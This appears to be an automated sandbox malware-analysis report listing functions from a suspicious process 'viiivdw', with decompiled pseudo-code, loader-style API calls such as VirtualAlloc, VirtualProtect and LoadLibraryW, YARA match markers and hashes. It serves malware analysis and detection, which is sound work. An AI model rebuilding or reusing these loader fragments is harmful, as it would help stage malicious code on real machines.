Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: aaa2763301cdb54c4d872fb57cbdd135f5c3c0b4c2f41c9f49eb896a73c5585e
Instruction ID: c053f30d8092e7f77b156dd272f4c5a0a12c9d004cc56aeedff5c9d3ef37d72b
Opcode Fuzzy Hash: aaa2763301cdb54c4d872fb57cbdd135f5c3c0b4c2f41c9f49eb896a73c5585e
Instruction Fuzzy Hash: 3E319EB0901659CBCF24CF55D4943EEBBB0AF41325F24419BE4A62A281D3388ED1CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00415EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80
_isdigit.LIBCMTD ref: 00415FA6
__inc.LIBCMTD ref: 00416090
__un_inc.LIBCMTD ref: 004160B4
_isxdigit.LIBCMTD ref: 0041610D
__hextodec.LIBCMTD ref: 00416130
_isdigit.LIBCMTD ref: 00416153
__inc.LIBCMTD ref: 00416204
__un_inc.LIBCMTD ref: 00416228
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

p, xrefs: 00415F3F

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: e10c7e782c73b146a98b5dfae28bf1d907e7bbaaf468007918dda4523d922008
Instruction ID: 1625681a04721a4a076163c33e487a969c965927cbcd51f6b4c18869cabe57b6
Opcode Fuzzy Hash: e10c7e782c73b146a98b5dfae28bf1d907e7bbaaf468007918dda4523d922008
Instruction Fuzzy Hash: 8F2154B4D04669CECF25CF65C8503FEBBB5AF48308F1441EBD44966242D2399AC2CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__onexit_nolock.LIBCMTD ref: 0040B042

Part of subcall function 0040B080: __encode_pointer.LIBCMTD ref: 0040B08E
Part of subcall function 0040B080: __encode_pointer.LIBCMTD ref: 0040B0A0

Strings

\CA, xrefs: 0040B029, 0040B064
\CA, xrefs: 0040B03E, 0040B041

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __encode_pointer$__onexit_nolock
String ID: \CA$\CA
API String ID: 1977201873-88070139
Opcode ID: 1f3af37de6406e7aaec35e77fc1a8a929f317e465e5fec050caeb050621dcab0
Instruction ID: 838d8f53cff9bfe01b8806ce3e92ae54a87b9504e49343fe965058ab58125c7b
Opcode Fuzzy Hash: 1f3af37de6406e7aaec35e77fc1a8a929f317e465e5fec050caeb050621dcab0
Instruction Fuzzy Hash: D8F0A4B6D04249ABC700DFA5DC41B9BB7B8EB45724F10463BF825A36C0D73D55008AA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: viiivdwPID: 6756, Parent PID: 1084COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	28%
Signature Coverage:	0%
Total number of Nodes:	93
Total number of Limit Nodes:	4

Executed Functions

Function 004017E2 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004017E2(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x004017e2

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 0000000B.00000002.431115306.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_viiivdw.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction ID: ddaf0562df841adfab300f0276baae716c17d25714fd681a3a6e16616d485b4c
Opcode Fuzzy Hash: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction Fuzzy Hash: EC015233148208EBDB017AA59C41DA97729AB45754F30C537FA03791F1D67D8713A72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017E3 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E004017E3(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t8;
				char* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;
				void* _t24;
				void* _t26;

				_push(0x181b);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				L00401118(_t8, _t13, 0x61, _t19, _t20, _t24);
				_t14 = _a4;
				Sleep(0x1388);
				_t3 =  &_v8; // 0x1b68f34d
				_t9 = _t3;
				_push(_t9);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				L00401360(); // executed
				_t25 = _t9;
				if(_t9 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t17, _t18, _t19, _t26); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t16 =  *_t22;
				L00401118(_t11, _t14, _t16, _t19, _t20, _t25);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 0000000B.00000002.431115306.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_viiivdw.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction ID: 1d0556d2ce3487287f662705d53e2785c513140bae9e3f24436a296874fe77da
Opcode Fuzzy Hash: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction Fuzzy Hash: 15017533108208F7D7017A958C42DAA3628AB45754F30C437BA03790F1D57DDB12676B

Uniqueness

Uniqueness Score: -1.00%

Function 004017EE Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E004017EE(void* __edi, void* __esi) {
				intOrPtr _t8;
				intOrPtr* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t25;
				intOrPtr* _t26;
				void* _t29;
				void* _t31;

				_t21 = __esi;
				_t19 = __edi;
				_push(0x181b);
				_t8 =  *_t25;
				_t26 = _t25 + 4;
				L00401118(_t8, _t13, 0x61, __esi, 0x1b68f351, _t29);
				_t14 =  *((intOrPtr*)(0x1b68f359));
				Sleep(0x1388);
				_t9 = 0x1b68f34d;
				_push(_t9);
				_push( *0x1B68F361);
				_push( *0x1B68F35D);
				_push(_t14); // executed
				L00401360(); // executed
				_t30 = _t9;
				if(_t9 != 0) {
					_push( *0x1B68F365);
					_push( *((intOrPtr*)(0x1b68f34d)));
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t18, _t19, _t21, _t31); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t17 =  *_t26;
				L00401118(_t11, _t14, _t17, _t21, 0x1b68f351, _t30);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 0000000B.00000002.431115306.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_viiivdw.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction ID: 6a2648c31bf342f80e2744bc490c75df06b0a743f4722301b2fbabc3dba0a0aa
Opcode Fuzzy Hash: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction Fuzzy Hash: 54016733508304ABDB017AA18C42EA937289B45754F24C577BB13790F2D57DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401807 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E00401807(signed int __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr _t18;
				void* _t21;
				void* _t25;
				intOrPtr* _t27;
				signed char _t30;
				void* _t32;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx |  *(_t25 + 0x7b);
				_t30 = __edx |  *(_t25 + 0x7b);
				L00401118(_t9, _t14, 0x61, __esi, _t25, _t30);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t4 = _t25 - 4; // 0x1b68f34d
				_t10 = _t4;
				_push(_t10);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				L00401360(); // executed
				_t31 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					E00401432(_t15, _t20, _t21, _t23, _t32); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				_t12 = 0x181b;
				_push(0x61);
				_t18 =  *_t27;
				L00401118(_t12, _t15, _t18, _t23, _t25, _t31);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 0000000B.00000002.431115306.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_viiivdw.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction ID: d1e85a843a3bf15b3ffbd62fd2fe31d474754e63a526ee7ed21e8696c92682af
Opcode Fuzzy Hash: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction Fuzzy Hash: 2FF04F33204208FBDB007BA18C42EAD3729AB45754F20C537BA13790F2D679CA12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00409A05 Relevance: 16.7, APIs: 11, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00409A62
_wprintf.LIBCMTD ref: 00409B74
_wscanf.LIBCMTD ref: 00409B7D
_wscanf.LIBCMTD ref: 00409B8A
__wremove.LIBCMTD ref: 00409B90
__wrename.LIBCMTD ref: 00409B97
_labs.LIBCMTD ref: 00409BB4
_abort.LIBCMTD ref: 00409BB9
_realloc.LIBCMTD ref: 00409BE0

Part of subcall function 0040A5F0: __realloc_dbg.LIBCMTD ref: 0040A604

_malloc.LIBCMTD ref: 00409BE6

Part of subcall function 0040A5C0: __nh_malloc_dbg.LIBCMTD ref: 0040A5D6

__wctomb_s_l.LIBCMTD ref: 00409BF0

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _wscanf$__nh_malloc_dbg__realloc_dbg__wctomb_s_l__wremove__wrename_abort_labs_malloc_memset_realloc_wprintf
String ID:
API String ID: 2019212891-0
Opcode ID: 607efe129bba57160719a6d2e91527784dcfd75c8179da774988a6eff9573b79
Instruction ID: 95e545d609e434e4a65173c428541e827aabeb150ffa349fa89c7e9665f42b39
Opcode Fuzzy Hash: 607efe129bba57160719a6d2e91527784dcfd75c8179da774988a6eff9573b79
Instruction Fuzzy Hash: AC514372502524BBC7157BA2AD49DDF3AACEF4A355B00403AF506B50A1DB385A41CBFE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD70 Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040ADEC
__heap_init.LIBCMTD ref: 0040ADF6

Part of subcall function 00419300: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040ADFB,00000001), ref: 00419316

_fast_error_exit.LIBCMTD ref: 0040AE04

Part of subcall function 0040AF50: ___crtExitProcess.LIBCMTD ref: 0040AF74

__mtinit.LIBCMTD ref: 0040AE0C
_fast_error_exit.LIBCMTD ref: 0040AE17
__RTC_Initialize.LIBCMTD ref: 0040AE29
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AE52
___wsetargv.LIBCMTD ref: 0040AE5C
__wsetenvp.LIBCMTD ref: 0040AE6F
__cinit.LIBCMTD ref: 0040AE84
__wwincmdln.LIBCMTD ref: 0040AEA1

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: faae8b3925ce16d75b52491d356703e95c8fed3203ad93bb1544898b9140c5b0
Instruction ID: c148ae80a6fec5dae84f06fb763bfcbcdfbf1501147f1e1b680501fb07021a56
Opcode Fuzzy Hash: faae8b3925ce16d75b52491d356703e95c8fed3203ad93bb1544898b9140c5b0
Instruction Fuzzy Hash: 424186B1D40308ABDB10ABB2ED02BDE76B5AB4431CF10013EF515A72C2EB7D5950CA9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADE5 Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040ADEC
__heap_init.LIBCMTD ref: 0040ADF6

Part of subcall function 00419300: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040ADFB,00000001), ref: 00419316

_fast_error_exit.LIBCMTD ref: 0040AE04

Part of subcall function 0040AF50: ___crtExitProcess.LIBCMTD ref: 0040AF74

__mtinit.LIBCMTD ref: 0040AE0C
_fast_error_exit.LIBCMTD ref: 0040AE17
__RTC_Initialize.LIBCMTD ref: 0040AE29
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AE52
___wsetargv.LIBCMTD ref: 0040AE5C
__wsetenvp.LIBCMTD ref: 0040AE6F
__cinit.LIBCMTD ref: 0040AE84
__wwincmdln.LIBCMTD ref: 0040AEA1

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: edfaf2ce7b67c34fc4343175d1df46b10dd90cabfdd387f201f77346cdd6f900
Instruction ID: 3c553b1acffd7059b927024cb990f6927cdf9c5e535d1855acba6a4513397da0
Opcode Fuzzy Hash: edfaf2ce7b67c34fc4343175d1df46b10dd90cabfdd387f201f77346cdd6f900
Instruction Fuzzy Hash: 1F3147F1D413059AEB10BBB2B9027DE72A1AB5030CF10013FF919672C3FA795994CA9B

Uniqueness

Uniqueness Score: -1.00%

Function 008E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 008E024D

Strings

cess, xrefs: 008E018D
kernel32.dll, xrefs: 008E008F, 008E0095

Memory Dump Source

Source File: 0000000B.00000002.431428387.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8e0000_viiivdw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: bce1e7aedbb0bac3c40372ab5dc58ce5663e3ac356884f583a70f195ca8c1d4b
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 18527874A002699FDB64CF59C984BA8BBB1FF09304F1484E9E90DAB351DB70AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040B397 Relevance: 7.8, APIs: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CrtCheckMemory.LIBCMTD ref: 0040B3BA
__heap_alloc_base.LIBCMTD ref: 0040B541
_memset.LIBCMT ref: 0040B689
_memset.LIBCMT ref: 0040B6A6
_memset.LIBCMT ref: 0040B6C1

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 83baf3bf52544653c8c3cb8d392a2988329be998636c848b27eed268b5239dd3
Instruction ID: 3a7933ca25cb78f0a7089567455c883b56018982cdfc39c6e9e2b36bf7bfdb46
Opcode Fuzzy Hash: 83baf3bf52544653c8c3cb8d392a2988329be998636c848b27eed268b5239dd3
Instruction Fuzzy Hash: 76A158B8A002049FDB14CF54EC91BAA77B1FB49304F24826AE9057B3D2D779A940CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00418DE0 Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00418E6B
__nh_malloc_dbg.LIBCMTD ref: 00418F97

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 04155ff7ede2320fc46315fdf4570a604971e1152a0df8f0343f59c7ee2628a0
Instruction ID: 337c3f627426636362c96c55a2c70e094b83fb7dda428fe3ac42415b8cff4247
Opcode Fuzzy Hash: 04155ff7ede2320fc46315fdf4570a604971e1152a0df8f0343f59c7ee2628a0
Instruction Fuzzy Hash: F9E10874E04249DFDB24CFA9C894A9DFBB1FB49314F24825ED8256B392C7349882CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00409517 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 429
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00409530
LoadLibraryW.KERNELBASE(00843380), ref: 00409857

Strings

h_D, xrefs: 0040962E

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: AllocLibraryLoadLocal
String ID: h_D
API String ID: 2056365281-4111959960
Opcode ID: 235e710fc222c5dd6515f8331ec6ddcbc04e3380799a55ea77900c1e304e06db
Instruction ID: 7d5c1149b4aeb08c39f3b424f5604de5ede1ddfc765cfa30b6d080a50acd97ec
Opcode Fuzzy Hash: 235e710fc222c5dd6515f8331ec6ddcbc04e3380799a55ea77900c1e304e06db
Instruction Fuzzy Hash: 79D1F4B6800259BFE7015BB0AEC8DAB776CFB09349B005436F646F2571DA388D84CB78

Uniqueness

Uniqueness Score: -1.00%

Function 00409416 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 00409511

Strings

h_D, xrefs: 0040941D

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: ProtectVirtual
String ID: h_D
API String ID: 544645111-4111959960
Opcode ID: 518146e98a6818014bb143f96da1bbbf55ebc8abd13b629cb6ebc55bcc21ffa7
Instruction ID: ee3d1a56ef9a0140830d02e2aa31408b93403b1d16467a7449a12ed87dec6f6c
Opcode Fuzzy Hash: 518146e98a6818014bb143f96da1bbbf55ebc8abd13b629cb6ebc55bcc21ffa7
Instruction Fuzzy Hash: BD219E2840CAC4DBEB028778AD08B563E96572B748F4C00A991844A2B3D7FB116EC77F

Uniqueness

Uniqueness Score: -1.00%

Function 00409418 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 00409511

Strings

h_D, xrefs: 0040941D

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: ProtectVirtual
String ID: h_D
API String ID: 544645111-4111959960
Opcode ID: f2dade1bc8a8c0c0391d7dfa27fd22c2dd51227feeff6b316c358f26f92a979d
Instruction ID: 7feafe851f591639ff33c82d96182018c3fec69599d3eec0fd92d3dfa13e4dbc
Opcode Fuzzy Hash: f2dade1bc8a8c0c0391d7dfa27fd22c2dd51227feeff6b316c358f26f92a979d
Instruction Fuzzy Hash: 82217F2840CAC4DBEB02C778AD08B563E96572B749F4C41A991844A2B3D7FB116EC77F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2FF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0040B2F9

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: f07ef76f78fc5f6a90826b69226016fb31cc949745b44c1531e3e942705e2f2b
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: FA01F6B1A04109EBDB14CF94D840BAE77B4EB48304F20856AFD05AB280D339EA51DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B70E Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0040B76D
_memset.LIBCMT ref: 0040B7B9

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: 85d4ba9b0f936cea8819c724563a9e2e959248d26ae0a6c03a02dbddaf1ae40c
Instruction ID: 90a1f36486e2260db6eee82b25ef9e5335dce80252c764b271fc484abb28dbb7
Opcode Fuzzy Hash: 85d4ba9b0f936cea8819c724563a9e2e959248d26ae0a6c03a02dbddaf1ae40c
Instruction Fuzzy Hash: 61118675A50208BBDB00DF95CC86F9E3365EB94714F20856AF909BB2C1D778EA50CB98

Uniqueness

Uniqueness Score: -1.00%

Function 008E0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,008E0223,?,?), ref: 008E0E19
SetErrorMode.KERNELBASE(00000000,?,?,008E0223,?,?), ref: 008E0E1E

Memory Dump Source

Source File: 0000000B.00000002.431428387.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8e0000_viiivdw.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a4f48c892f8e9c9ae69895b6c0a5a0597368a000e48ec749cc81b878f319df75
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: C9D0123114512877D7002A95DC09BCD7B1CDF05B62F008421FB0DD9080C7B0994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00418E54 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00418E6B
__nh_malloc_dbg.LIBCMTD ref: 00418F97

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 5ec29135ebc877a79cc8f38a057d6a50baf79072ac05eacdb54ec8c6044bbf05
Instruction ID: d5fee7675830d29b0fcdd56f57d3223856fff5b19dda0669bea2d5f7dc92b914
Opcode Fuzzy Hash: 5ec29135ebc877a79cc8f38a057d6a50baf79072ac05eacdb54ec8c6044bbf05
Instruction Fuzzy Hash: 98E02071E8830899E7309AA5580375CB720E744735F20476FD635775C1DB7504018F08

Uniqueness

Uniqueness Score: -1.00%

Function 004121D0 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 004121D7

Part of subcall function 00412100: __crt_wait_module_handle.LIBCMTD ref: 0041214C
Part of subcall function 00412100: RtlEncodePointer.NTDLL(?), ref: 00412187

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 46cbeabffbf95fd28e168f7dd861a0dec8e1886472a4c51c30da7dda508115ac
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: CAA011B288820833E20020833803B023A0C83C0A38F0A0022FA0C0A2822882A8A080AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD50 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0040AD55

Part of subcall function 0040AD70: _check_managed_app.LIBCMTD ref: 0040ADEC
Part of subcall function 0040AD70: __heap_init.LIBCMTD ref: 0040ADF6
Part of subcall function 0040AD70: _fast_error_exit.LIBCMTD ref: 0040AE04
Part of subcall function 0040AD70: __mtinit.LIBCMTD ref: 0040AE0C
Part of subcall function 0040AD70: _fast_error_exit.LIBCMTD ref: 0040AE17
Part of subcall function 0040AD70: __RTC_Initialize.LIBCMTD ref: 0040AE29
